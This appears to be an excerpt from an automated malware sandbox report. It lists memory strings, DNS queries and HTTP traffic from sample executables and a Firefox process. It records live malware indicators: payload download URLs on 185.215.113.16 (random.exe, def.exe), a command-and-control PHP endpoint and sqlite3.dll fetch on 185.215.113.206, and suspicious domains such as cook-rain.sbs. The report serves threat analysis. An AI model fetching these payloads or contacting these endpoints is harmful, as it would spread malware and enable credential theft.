"://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF85D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF85D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3489163571.0000025D8CA7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3489163571.0000025D8CA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3489163571.0000025D8CA7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3489163571.0000025D8CAB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C7A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: mitmdetection.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 00000021.00000002.3559125760.0000025DFAB6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3464429316.0000025D8BEBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3f
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeN
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exen
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.3707159436.0000000000A6B000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B85000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll&
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll4
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllF
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B85000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php----AAKEGIJEHJDGDHJKJKKJogon.exe
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B85000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt
Source: 643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/o
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllGIJEHJDGDHJKJKKJogon.exe
